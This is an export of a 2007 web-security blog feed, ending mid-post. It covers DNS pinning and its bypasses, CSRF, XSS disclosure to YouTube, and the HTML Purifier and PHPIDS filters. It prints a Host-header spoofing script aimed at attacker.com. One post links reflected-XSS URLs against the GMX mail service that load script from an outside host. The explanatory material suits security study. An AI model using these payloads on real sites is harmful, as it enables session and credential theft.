tag:blogger.com,1999:blog-64875698071971401192009-07-19T09:42:28.481+02:00christian's webloggeek by nature, all those other things by choiceChristian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.comBlogger33125tag:blogger.com,1999:blog-6487569807197140119.post-46734060885533775592007-10-24T16:14:00.000+02:002007-10-24T18:21:51.721+02:00The Web Application Hacker's HandbookFor those who haven't seen it yet, Dafydd Stuttard and Marcus Pinto released a new book last monday, entitled <a href="http://www.amazon.com/gp/product/0470170778"><span style="font-style: italic;">The Web Application Hacker's Handbook</span></a>. Before I could even think about ordering a copy, Dafydd was so kind as to offer me one for free in exchange for a review. Be sure you'll get it Dafydd and thanks again!<br /><br />The TOC looks already highly promising.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_Xuy5-EZy_Jw/Rx9XJ39NVOI/AAAAAAAAAFg/Zv1WG_gFM6g/s1600-h/51GMmZ%2B1dJL._BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_Xuy5-EZy_Jw/Rx9XJ39NVOI/AAAAAAAAAFg/Zv1WG_gFM6g/s400/51GMmZ%2B1dJL._BO2,204,203,200_PIsitb-dp-500-arrow,TopRight,45,-64_OU01_AA240_SH20_.jpg" alt="" id="BLOGGER_PHOTO_ID_5124910728122029282" border="0" /></a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-4673406088553377559?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com1tag:blogger.com,1999:blog-6487569807197140119.post-54822013854679499132007-09-26T10:19:00.000+02:002007-09-26T10:44:25.541+02:00One more reason why CSRF sucks hardUsually, when I try to explain Cross Site Scripting to some who isn't familiar with it, I end up justifying why XSS is really and issue and could, depending on the kind of application or website, cause a lot of damage.<br /><br />This gets even more difficult if you try to explain the dangers of CSRF in a way, that sounds reasonable to an uninformed audience. Now it'll probably be a good idea to come up with some examples in such a situation, like the one that <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">pdp has recently presented</a>. The ability for an attacker to hijack someone elses gmail account only due to a simple CSRF vulnerability should make perfectly clear, why CSRF must never be underestimated.<br /><br />One of many good examples worth to quote on this matter.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-5482201385467949913?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com3tag:blogger.com,1999:blog-6487569807197140119.post-40842783748793100992007-07-01T14:33:00.000+02:002007-07-10T14:21:29.569+02:00DNS Pinning ExplainedI have been asked recently by <a href="http://hackathology.blogspot.com/">Ronald Koh</a> and some other guys to make a writeup on DNS Pinning, aka. circumventing the same origin policy with Anti DNS Pinning. Although this is nothing really new and some explanations of this do in fact already exist, I think it is a good idea to talk about it once again though for mainly two reasons.<br /><br />Firstly, this theme is known for it's rather high complexity and only a very limited number of individuals actually understand what is behind it. Therefore bringing peoples attention on it would surely not be amiss.<br /><br />Secondly, there is no bullet proof solution to protect against this and the more people understand what it is about, the higher are the chances that we'll come to a solution somewhen in future. Four eyes are likely to see better than two, so lets start.<br /><br />The same origin policy is an access restriction implemented in most modern browsers that prevents a script loaded from one origin to access documents from a different origin in any kind. Hence, it is neither possible to set nor get information from that foreign origin. However, since the time this security measure has firstly been initiated by I believe Netscape, security researchers have spent a significant amount of time to find ways to bypass this restriction. One of the results finally was Anti DNS Pinning and later on Anti-Anti-Anti DNS Pinning, both exploiting another security mechanism of modern browsers called DNS Pinning.<br /><br />Now it may sound reasonable to start explaining what DNS Pinning actually is, fortunately this turns out pretty easy with a bit of background information on the Domain Name System (DNS). When someone requests a Web site such as www.example.com, the browser needs to perform a DNS lookup on that domain to get the associated numerical address (IP) of the server that hosts the Web site in question. In the next step, the browser sends a query to that IP that moreover contains the domain, a specific Web page and other variables to be able to ultimately retrieve the requested data.<br /><br />So lets assume the DNS lookup on www.example.com provided the IP 111.111.111.111. A normal HTTP request sent by the browser to www.example.com may look like this:<br /><blockquote>GET / HTTP/1.1<br />Host: www.example.com<br />User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4<br />Accept: */*<br />Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3<br />Accept-Encoding: gzip,deflate<br />Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />Keep-Alive: 300<br />Connection: keep-alive<br />Cookie: secret authentication token 12345</blockquote>This is where DNS Pinning comes into play. As a protection attempt against Anti DNS Pinning, <span style="font-weight: bold;">the browser caches the hostname-to-IP address pair until the browser window gets closed</span>, regardless of what the actual DNS time to live (TTL) is set for. I have visualized a scenario that DNS Pinning protects against below. In this example an attacker runs www.attacker.com pointing to IP address 222.222.222.222.<br /><br />Moreover he has full access to the DNS server entry, which is set to a TTL (DNS timeout) of 1 second. When viewing his Web site in a browser, malicious JavaScript will be executed that tells the browser to connect back it's current location in 2 seconds and then pull the returned data to a different server the attacker controls.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img411.imageshack.us/img411/74/dnspinningwz0.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://img411.imageshack.us/img411/74/dnspinningwz0.png" alt="" id="BLOGGER_PHOTO_ID_5082697815925619986" border="0" /></a><br />1) The users browser connects to www.attacker.com and performs a DNS lookup for that URL receiving 222.222.222.222 with a TTL of 1 second.<br /><br />2) JavaScript tells the browser to connect back to www.attacker.com after two seconds, shortly after the TTL expired.<br /><br />3) Since the DNS is not longer valid, the user's browser connects to the DNS server to ask where www.attacker.com is now located.<br /><br />4) The DNS server responds with 111.111.111.111, which points to www.example.com<br /><br />5) The user's browser connects to 111.111.111.111 sending a header like:<br /><blockquote><br />GET / HTTP/1.1<br />Host: www.attacker.com<br />User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4<br />Accept: */*<br />Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3<br />Accept-Encoding: gzip,deflate<br />Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />Keep-Alive: 300<br />Connection: keep-alive</blockquote>Now what is important to notice here is that the host has been changed to www.attacker.com instead of www.example.com and furthermore the cookie is missing. Due to the cached hostname-to-IP pair, DNS Pinning prevents the second lookup of www.attacker.com which is why this attack was doomed to fail from the very beginning.<br /><br /><br /><span style="font-weight: bold;">Anti DNS Pinning</span><br />As already mentioned earlier, Anti DNS Pinning is what DNS Pinning was meant to protect against - forcing the browser to request a manipulated DNS entry again e.g. by making him believe that his cache expired.<br /><br />Well, on August 14, 2006, <a href="http://seclists.org/bugtraq/2006/Aug/0290.html">Martin Johns came up</a> with a concept of how this can be done. He essentially discovered that DNS Pinning only works on condition that the Web server in question is actually online and available. On the one hand this makes sense because if the server appears to be down, a new DNS lookup is necessary to find out whether it has changed or moved in some way. However on the other hand an attacker can shut down his server whenever he wants to and thereby circumvent the user's browser's DNS Pinning. Again, I have visualized this attack:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img516.imageshack.us/img516/810/antidnspinningpr0.png"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://img516.imageshack.us/img516/810/antidnspinningpr0.png" alt="" id="BLOGGER_PHOTO_ID_5082697815925619986" border="0" /></a><br /><ol></ol>1) The users browser connects to www.attacker.com and performs a DNS lookup for that URL receiving 222.222.222.222 with a TTL of 1 second.<br /><br />2) JavaScript tells the browser to connect back to www.attacker.com after two seconds, shortly after the TTL expired. Afther that the server is told to firewall itself.<br /><br />3) Now DNS Pinning is dropped due to Anti DNS Pinning. Since the DNS is not longer valid, the user's browser connects to the DNS server to ask where www.attacker.com is now located.<br /><br />4) The DNS server responds with 111.111.111.111, which points to www.example.com<br /><br />5) The user's browser connects to 111.111.111.111 sending a header like:<blockquote>GET / HTTP/1.1<br />Host: www.attacker.com<br />User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4<br />Accept: */*<br />Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3<br />Accept-Encoding: gzip,deflate<br />Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />Keep-Alive: 300<br />Connection: keep-alive<br /></blockquote>Since the IP changed now, the attackers XMLHttpRequest is reading a different Website (www.example.com), even though the browser believes it is still the same. So now you may understand why I introduced this article with explaining what the same origin policy is. We are able to break it using Anti DNS Pinning.<br /><br />Anyway, again there are a few things to notice. Firstly, the host is still changed to www.attacker.com instead of www.example.com, plus there is no cookie data sent in the header. Taking this into account one may wonder why anyone would do Anti DNS Pinning instead of requesting www.example.com on foot.<br /><br />Well, in fact Anti DNS Pinning isn't doing the attacker any good unless we are talking about an intranet or otherwise IP restricted websites, which the attacker could usually not connect to himself because the site is just inaccessable to the public. This is where Anti DNS Pinning becomes really dangerous. Instead of targeting www.example.com, we could possibly launch an attack against intranet.example.com, which was actually considered to be secury since it is hosted behind a corporate firewall.<br /><br />Not only we can read data from those protected pages but also use the so gained information to launch CSRF attacks against intranet applications. Pretty bad.<br /><br />Kanatako provided a well working example of this on his Website. I recommend to check this out: <a href="http://www.jumperz.net/index.php?i=2&a=1&amp;amp;b=7">http://www.jumperz.net/index.php?i=2&a=1&amp;b=7</a><br /><br />Additionally he <a href="http://sla.ckers.org/forum/read.php?6,4511#msg-4539">describes on sla.ckers.org</a> how his script works in detail. If you read it carefully, you will see that it is exactly what you have just learned while reading.<br /><br /><br /><span style="font-weight: bold;">Anti Anti DNS Pinning</span><br />The name already suggests what this technique is about. Some people starting thinking about how Anti DNS Pinning could be prevented and ended up with checking for the correct the Host header. Remember that this has always been changed to www.attacker.com and so indicates an attack.<br /><br />Certainly not because it is always www.attacker.com but simply because the Host header differs from the one(s) that has been allowed by the server administrator.<br /><br /><span style="font-weight: bold;">Anti Anti Anti DNS Pinning</span><br />Unfortunately this header can easily be spoofed in more than one way so that the previously described technique doesn't turn out to be very effective. Amit Klein published a posting to Bugtraq where he showed how to spoof the Host in MSIE using XMLHttpRequest or Flash.<br /><br /><*script><br />var x = new ActiveXObject("Microsoft.XMLHTTP");<br />x.open(<br />"GET\thttp://attacker.com/\tHTTP/1.0\r\nHost:\twww.example.com<br />\r\n\r\n,<br />"http://www.attacker.com/",<br />false<br />);<br /><br />x.send();<br />alert(x.responseText);<br /><*/script><br /><br />I hope that this article could help you to get a better understanding of DNS Pinning and it's mutations. However if you think that this is just a theoretical construct, you're still very much mistaken. Check out <a href="http://ha.ckers.org/blog/20070105/lessons-learned-from-adobe-pdf-xss-patching/#comment-13035">RSnakes stories</a>, especially <a href="http://ha.ckers.org/deathby1000cutts/">Death By 1000 Cutts</a>.<br /><br />Good stuff!<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-4084278374879310099?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com16tag:blogger.com,1999:blog-6487569807197140119.post-62902476756087185832007-06-28T19:40:00.000+02:002007-06-28T22:18:43.353+02:00Interview with Edward Z. YangIn case you haven't known this before, Edward Z. Yang is the man behind <a href="http://htmlpurifier.org/">HTML Purifier</a>, which is a highly effective whitelist filter to prevent Cross Site Scripting. I recommend to remember his name by the way.<br /><br />A couple of days ago I thought it would be a good idea to interview him about his product in order to promote it, pretty funny that Chris Shiflett apparently had <a href="http://shiflett.org/blog/2007/jun/html-purifier">the same idea</a>.<br /><br />Thanks to Edward for answering my questions. I hope you enjoy it as much as I did.<br /><br /><span style="font-weight: bold;">1) Could you tell my readers a few words about yourself?<br /></span>Hi, my name is Edward Z. Yang, and I am responsible for bringing HTML Purifier into this world. As a PHP programmer, you'll also find me helping other people with their questions at DevNetwork forums and contributing to PHP's documentation.<br /><br /><span style="font-weight: bold;">2) What is HTML Purifier and whats so special about it?</span><br />HTML Purifier is a standards-compliant HTML filter. What makes it special is the keyword "standards-compliant"; HTML Purifier operates off of the principle that if you implement the HTML spec, you can create a foolproof filter. HTML Purifier knows everything there is to know about HTML: valid attributes, content models, CSS, chameleon tags, etc. Plus, it attempts to fix poorly written HTML, rather than emit cryptic error messages.<br /><br /><span style="font-weight: bold;">3) What is technically required to use it?</span><br />HTML Purifier is written in PHP and has been tested with PHP 4.3.2 or higher. I have, however, had individuals contact me about interfacing with the library from other programming languages: while no port of HTML Purifier currently exists (last I heard, someone was attempting a Java port, but I am not sure if it ever came to fruition), it is not difficult to create a wrapper command line script to call HTML Purifier with.<br /><br /><span style="font-weight: bold;">4) When did you start working on your product and what was your intention at that time?</span><br />The concept of HTML Purifier emerged the Spring of 2006. However, I had been toying around with the idea as far back as 2005; originally, I needed some way to filter HTML for a literature management system (now defunct). One class survived from that original body of code: MarkupLexer, which was essentially a token based HTML parser; everything else followed.<br /><br /><span style="font-weight: bold;">5) What kind of feedback did you receive after the first release?</span><br />The first public beta was released on August 16, 2006; the 1.0.0 release followed shortly after on September 1st. I vaguely remember the response being lukewarm: the original pitch went to members of DevNetwork forum who loved the library, but I didn't do very much publicity: I submitted a Digg story which got 7 diggs (2.0.0 didn't do much better, but I diversified and HTML Purifier was a hit over at DZone and del.icio.us)<br /><br /><span style="font-weight: bold;">6) Who does actually use the Purifier today?</span><br />The four projects I know of that use HTML Purifier by default are BitWeaver, PHProjekt, Lilina and TikiWiki (BitWeaver hasn't officially released the HTML Purifier enabled version yet). We also have extensions available for Drupal, Wordpress, and Modx. And then, of course, there are developers from all over the world (I've talked to French, Japanese, Chinese and German users of HTML Purifier) using HTML Purifier.<br /><br /><span style="font-weight: bold;">7) You have a comparison between HTML Purifier and similar filtering solutions on your website. Could you summarize the results?</span><br />In a nutshell, the comparison states that HTML Purifier is better than the rest. ::laughs:: Of course, no one would believe me if I said just that, so the document is pretty lengthy. Most of the filters use blacklists, which are fundamentally insecure, and I've also noticed that most of them don't seem to be actively maintained, which is a big no-no in combination with blacklists. None of them can offer standards-compliance, although SafeHTMLChecker comes close, and none of them offer standards-compliance and at the same time try to correct poorly written HTML.<br /><br /><span style="font-weight: bold;">8) You have recently released version 2.0.0 and 2.0.1. Could you describe the major improvements to previous versions?</span><br />HTML Purifier 2.0 adds the Tidy module (nothing to do with HTMLTidy, by the way) and Advanced API which effectively make HTML Purifier feature-complete with regards to HTML filtering. There's a little more work to be done with cleaning up MSWord HTML, but users have all the facilities they need to implement custom HTML tags and attributes. 2.0.1 is your average stability/maintenance release, but it also sneaks in a number of experimental features such as error reporting and auto-paragraphing.<br /><br /><span style="font-weight: bold;">9) What do you think about the present status of Web application security in general?</span><br />It's still far too easy to do the wrong thing. While helping out newbies at DevNetwork, this is quite evident: people will come in because their code doesn't work, and we'll end up also fixing SQL injections, XSS vectors, and poor coding in general. But things are getting better, there's more literature out there on security and general awareness of the issue has been rising.<br /><br /><span style="font-weight: bold;">10) Is there anything left you want to say?</span><br />For more information, you can check out the <a href="http://htmlpurifier.org/">library at its website</a>, or poke it at the <a href="http://htmlpurifier.org/demo.php">demo</a>.<br /><br />Thanks!<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-6290247675608718583?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com0tag:blogger.com,1999:blog-6487569807197140119.post-82157345031440979602007-06-27T12:24:00.000+02:002007-06-27T13:29:08.586+02:00Planet-Websecurity.org is launchingThose of you who have spoken to me recently may already be aware of this project, but for those who don't, I am pleased to announce the launch of <a href="http://planet-websecurity.org/">Planet Websecurity</a>, founded with the intention to bring together similarly themed news and rants related to Web security and to display them in one place.<br /><br />There isn't currently much on the site, except for the articles located in an <a href="http://planet-websecurity.org/archive/">archive</a> which allows you to browse through previous entries as well as a <a href="http://planet-websecurity.org/search?q=">search facility</a> that may help you to find articles on topics you are particularly interested in.<br /><br />Last but not least there is an <a href="http://planet-websecurity.org/feed/">RSS feed</a>, subscribers to which are highly appreciated. If you would like to contribute to the planet, you're more than welcome to send me an <a href="mailto:contact@planet-websecurity.org">e-mail</a> or use the <a href="http://planet-websecurity.org/add/">proposal form</a>.<br /><br />Ultimately I hope this site helps to keep track of what is going on in the business and last, but not least, many thanks to all contributors.<br /><br /><span style="font-style: italic;"></span><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-8215734503144097960?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com14tag:blogger.com,1999:blog-6487569807197140119.post-87440871952127364802007-06-23T12:03:00.000+02:002007-06-23T13:31:32.853+02:00Google Says Thank You<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_Xuy5-EZy_Jw/RnzyFNcEFbI/AAAAAAAAAC8/uSgDyzReF-I/s1600-h/art.gif"><img style="border: medium none ; margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp2.blogger.com/_Xuy5-EZy_Jw/RnzyFNcEFbI/AAAAAAAAAC8/uSgDyzReF-I/s320/art.gif" alt="" id="BLOGGER_PHOTO_ID_5079200651087713714" border="0" /></a>Some of you might <a href="http://ha.ckers.org/blog/20070617/googleyoutube-ultimatum/">have seen</a> that there was something going on with <a href="http://www.theregister.co.uk/2007/06/20/youtube_security_ultimatum/">40+ security vulnerabilities on YouTube</a> and an <a href="http://sla.ckers.org/forum/read.php?3,12611">ultimatum</a> issued by me. Well, that is correct. Now let me explain what happened.<br /><br />A couple of months ago I discovered several security holes on YouTube, what I have already mentioned earlier on my blog. Apparently YouTube didn't respond to my reports and continued adding new features with new critical holes. The result after a few weeks was indeed around about 40 or even more XSS vulnerabilities on a Website acquired by Google with hundreds of thousands of users each day.<br /><br />I've been in the security industry for quite some time now, long enough to be able to assess the possible consequences and the likelyness of a severe attack on such a site. Over time, especially Social Networking sites will definitely become a favored target for Web Worms that might even propagate on more than one site. What happened on MySpace back in 2005 was in fact just an idea of what could happen if we would be faced with an XSS based Warhol Worm. Yeah, Samy proved that this is not too far of base and I know that <a href="http://www.gnucitizen.org/blog/the-next-super-worm">other</a> <a href="http://www.0x000000.com/">security researchers</a> agree with me on this matter.<br /><br />So in case you are still wondering, I choosed the path of responsible disclosure instead of just releasing all vulnerabilities to the public because I don't want something like that to happen.<br /><br />A few days after I issued the ultimatum, Google Security contacted me and we could successfully fix all known vulnerabilities. I have also talked with Hunter Walk who is Product Manager at YouTube and suggested him to set up a security response team at YouTube to make sure that issues like these are better routed in the future. He promised me to take care of that.<br /><br />I appreciate this because I think that when a company has a well working security response team and credits reports appropriately, researchers will be way more motivated to report what they have found.<br /><br />The Google Security Team is already doing that and publicly thanks me on <a href="http://www.google.com/corporate/security.html">http://www.google.com/corporate/security.html</a>. Additionally they sent me a Google t-shirt, which is really cool ;)<br /><br />I think they have learned their lesson from all the noise.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-8744087195212736480?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com10tag:blogger.com,1999:blog-6487569807197140119.post-78853652097497797052007-06-10T19:10:00.000+02:002007-06-10T20:05:52.155+02:00PHPIDS released<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_Xuy5-EZy_Jw/Rmwx_dcEFaI/AAAAAAAAAC0/TEDjtkM3SBA/s1600-h/ids.png"><img style="margin: 0px auto 10px; margin-right: 55px;display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_Xuy5-EZy_Jw/Rmwx_dcEFaI/AAAAAAAAAC0/TEDjtkM3SBA/s320/ids.png" alt="" id="BLOGGER_PHOTO_ID_5074485846443562402" border="0" /></a><a href="http://php-ids.org/contact/">We</a> are proud to announce the <a href="http://php-ids.org/downloads/">first stable release</a> of our <a href="http://christ1an.blogspot.com/2007/05/php-based-intrusion-detection-system.html">earlier discussed PHP Intrusion Detection System</a> or simply <a href="http://php-ids.org/">PHPIDS</a>. As from now, you will find the project page including a <a href="http://demo.php-ids.org/">demo</a>, <a href="https://trac.php-ids.org/">trac</a> and moreover a <a href="http://forum.php-ids.org/">forum </a>on <a href="http://php-ids.org/">http://php-ids.org/</a>.<br /><br />At this point, I would like to <a href="http://php-ids.org/contact#credits">thank everyone</a> who helped to improve the quality of the IDS, notably RSnake for providing <a href="http://ha.ckers.org/">ha.ckers</a> and <a href="http://sla.ckers.org/">sla.ckers.org</a>, <a href="http://0x000000.com/">Ronald van den Heetkamp</a> for his continuous assistance, <a href="http://wasjournal.blogspot.com/">Kishor</a> for circumventing (and by that enhancing) our rules numerous times and of course <a href="http://www.the-mice.co.uk/switch/">Martin Hinks</a> for porting PHPIDS to <a href="http://code.google.com/p/dotnetids/">.NETIDS</a>. Many thanks also to the <a href="http://www.webappsec.org/lists/websecurity/">webappsec mailinglist</a>.<br /><br />Feedback is still more than welcome, either by commenting on this post or <span style="text-decoration: underline;"></span>via the <a href="http://groups.google.com/group/php-ids">google group</a>.<br /><br />For my german readers, here is Mario Heiderich's statement:<br /><a href="http://mario.heideri.ch/phpids-der-erste-offizielle-release/">http://mario.heideri.ch/phpids-der-erste-offizielle-release/</a><br /><br />Thanks everybody!<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-7885365209749779705?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com9tag:blogger.com,1999:blog-6487569807197140119.post-56662618048661215642007-06-08T19:10:00.000+02:002007-06-08T19:27:18.905+02:00I've got my unique XSS book<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_Xuy5-EZy_Jw/RmmOxNcEFZI/AAAAAAAAACs/QcoCedB5aVE/s1600-h/08-06-07_1905_small.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_Xuy5-EZy_Jw/RmmOxNcEFZI/AAAAAAAAACs/QcoCedB5aVE/s320/08-06-07_1905_small.jpg" alt="" id="BLOGGER_PHOTO_ID_5073743431281677714" border="0" /></a>Thanks to <a href="http://jeremiahgrossman.blogspot.com/">Jeremiah Grossman</a> from <a href="http://www.whitehatsec.com/home/index.html">WhiteHat Security</a>, I finally received a signed version of the new XSS book most of you might know. It took only three days from the USA to Germany and I'm looking forward to read it.<br /><br />If you don't already have a copy I recommend <a href="http://www.amazon.com/Cross-Site-Scripting-Attacks-Exploits/dp/1597491543/ref=pd_bbs_sr_1/002-6300388-3326430?ie=UTF8&s=books&amp;amp;qid=1179389873&amp;sr=8-1">to buy it</a>.<br /><br />Special thanks again go to Jeremiah, I owe you. Maybe we will meet some day.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-5666261804866121564?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com2tag:blogger.com,1999:blog-6487569807197140119.post-77484830470751768522007-05-31T15:18:00.000+02:002007-05-31T15:23:07.787+02:00They are not allowed to!Maybe some of you have read <a href="http://ha.ckers.org/blog/20070530/google-files-on-the-internet/">RSnakes blog item</a> about these <a href="http://www.0x000000.com/index.php?i=319">Google files that were discovered</a> and open to the public some days ago. I don't want to talk about that issue now but let me quote one statement of RSnake:<br /><br />"Google has a responsibility to be better about this than most people. Why? Because they have more market share. The cannot mess up. They don’t have the right to.<br /><br />If some tiny mom and pop web-store has this issue it’s bad. If Google has it, it could affect hundreds of millions of people. Sorry, that’s just not allowed."<br /><br />Exactly that is what I thought a lot of recently. Big sites accountability to it's users. I'm certainly not an anti Google zealot as RSnake is but this is worth a thought anyway.<br /><br />Now lets go back to security. As a matter of fact, Googles whole security model is based on not finding a single XSS vulnerability. Their Single Sign On implementation can be fully compromised by only one insufficiently sanitized input field. Thats why those guys are so fast in fixing such vulns as soon as any are disclosed. So one may assume that they are aware of the great danger.<br /><br />Back in October 2006, Google bought YouTube. Pretty much the biggest social networking site with millions of users every day. Everyone is allowed to upload videos, to build groups and to have a public viewable profile.<br /><br />YouTube in fact enjoys a very good reputation from the open public, except of a few copyright issues that occur from time to time but that's actually of no real significance.<br /><br />Another popular social networing site is MySpace. In October 2005, the latter was infected by the Samy Worm, which became the first major web worm based on XSS vulnerabilities for it's propagation. Samy altered over a million of MySpace user profiles in one single night.<br /><br />Unlike other types of worms, these web worms propagate on condition that a user interacts with them. So if a user opens an infected page, the worm will propagate and infect another page. That means to more users the exploited platform has, the better the worm will work. It grows exponentially.<br /><br />Given that, Social Networking sites seem to be the best target due to their high traffic.<br /><br />Now what would you think would run through all kind if media if such a worm was released on YouTube and not only infected the users profiles but also steal their login credentials plus those that they use to login at Googles services? That is all trivial work for a well versed attacker.<br /><br />Trust me I am not kidding, that could happen any day and surely will if YouTube developers don't change the way they treat security. While researching, I identified dozens of vulnerabilities. Due to the high amount, I neither counted them nor did I prepare PoC's but it was about 20 to 25 reflective and around 10 persistent XSS vulnerabilities. Additionally it appears that CSRF is a foreign word to them.<br /><br />I informed them about it but actually I do not expect an answer. Apparently they didn't learn anything from Samy.<br /><br />Anyway, if that happened one day, THEN we would have a real problem.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-7748483047075176852?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com3tag:blogger.com,1999:blog-6487569807197140119.post-43704336516616396452007-05-31T01:53:00.000+02:002007-05-31T02:02:22.155+02:00Complexity vs. SecurityYesterday, Ronald van den Heetkamp wrote <a href="http://www.0x000000.com/?i=320">a blog entry entitled "Simplicity"</a> in which he points out that in the long run applications can only stay secure if they keep a certain degree of simplicity because developers would otherwise loose sight the more the complexity of an application grows.<br /><br />I think on that matter Ronald is perfectly right but now the remaining question is how code can be kept simple and secure in a Web 2.0 world where new technologies, ideas and features become public on a regulary basis. I do not think we can achieve security by simplicity in the sense of removing unnecessary technology. Thats what Ronald essentially means in the very beginning when he talks about application darwinism.<br /><br />In my view that comparison is somehow flawed because as far as technology is concerned we will probably never experience a decline. It is rather the opposite.<br /><br />So, I personally see the future for both simplicity and security only in frameworks. When using such, most software developers intention might be to have a well designed, well performing and well working application. However at the same time applications are likely to become much more secure since development frameworks we have today pay more and more attention on that.<br /><br />For instance as a PHP developer working with the Zend Framework it becomes very easy and comfortable to prevent most common vulnerabilities such as Cross Site Scripting, SQL Injection or Remote File Inclusion.<br /><br />Consider this as my two cents. I see Jeremiah Grossman having had <a href="http://www.gnucitizen.org/blog/secure-code-through-frameworks/">the same thought</a> back in 2006 and I would like to finish with his words:<br /><br />When developers find that its WAY easier and WAY better to do RIGHT by security, then we'll get somewhere.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-4370433651661639645?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com0tag:blogger.com,1999:blog-6487569807197140119.post-21624484569888217982007-05-14T13:52:00.000+02:002007-05-14T14:15:36.847+02:00Fun with GMX Mail ServiceWhen I came back home today and looked through the news, I stumbled over an entry on <a href="http://www.heise.de/security">heise security</a> dealing with a <a href="http://www.heise.de/security/news/meldung/89688">security issue</a> on <a href="http://gmx.net">GMX</a>. I had a lot of fun reading it.<br /><br />The posting essentially claimed that a <span style="font-style: italic;">severe security issue</span> has been discovered which allowed access to anyones opened mailaccount if the session_id gets copied from the URL of one browser and pasted into a different.<br /><br />Ehm, does that writer have a clue about what a session actually is? I guess not.<br /><br />Anyway, as far as security is concerned, it is a bad idea to use GMX mail service though since there are dozens of XSS vulnerabilites on their sites. For example <a href="https://service.gmx.net/de/cgi/nreg?AREA=%22%3E%3Cscript/src=http://h4k.in/j.js%3E&NT=1&amp;TARIF=0&amp;">here</a>, <a href="http://suche.gmx.net/search/web/?su=%22%3E%3CSCRIPT%2Fsrc%3Dhttp%3A%2F%2Fh4k.in%2Fj.js%3E">here</a> or <a href="http://faq.gmx.de/search/q.php?query=--%3E%3CSCRIPT%2Fsrc%3Dhttp%3A%2F%2Fh4k.in%2Fj.js%3E">here</a>.<br /><br />So please, if you want to use free mail service, how about switching to <a href="http://mail.google.com/">gmail</a>?<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6487569807197140119-2162448456988821798?l=christ1an.blogspot.com'/></div>Christian Matthieshttp://www.blogger.com/profile/18000193340630874188ch0012@gmail.com2tag:blogger.com,1999:blog-6487569807197140119.post-61709786720246280022007-05-05T18:46:00.000+02:002007-05-05T23:08:54.508+02:00Holes in most strip_tags() filtersThis is actually nothing really new but it seems that there is a common misunderstanding of <a href="http://de2.php.net/manual/en/function.strip-tags.php">PHP's strip_tags()</a> function.<br /><br />A lot of developers rely on this function to protect their applications against Cross Site Scripting attacks. They especially like it because of it's second parameter <i style="font-style: italic;"><tt>allowable_tags</tt></i>, apparently without knowing what it actually does.<br /><br />As even highlighted in the PHP manual, <i style="font-style: italic;">this function does not modify any attributes on the tags that you allow using <tt>allowable_tags</tt></i><span style="font-style: italic;">, including the </span><var 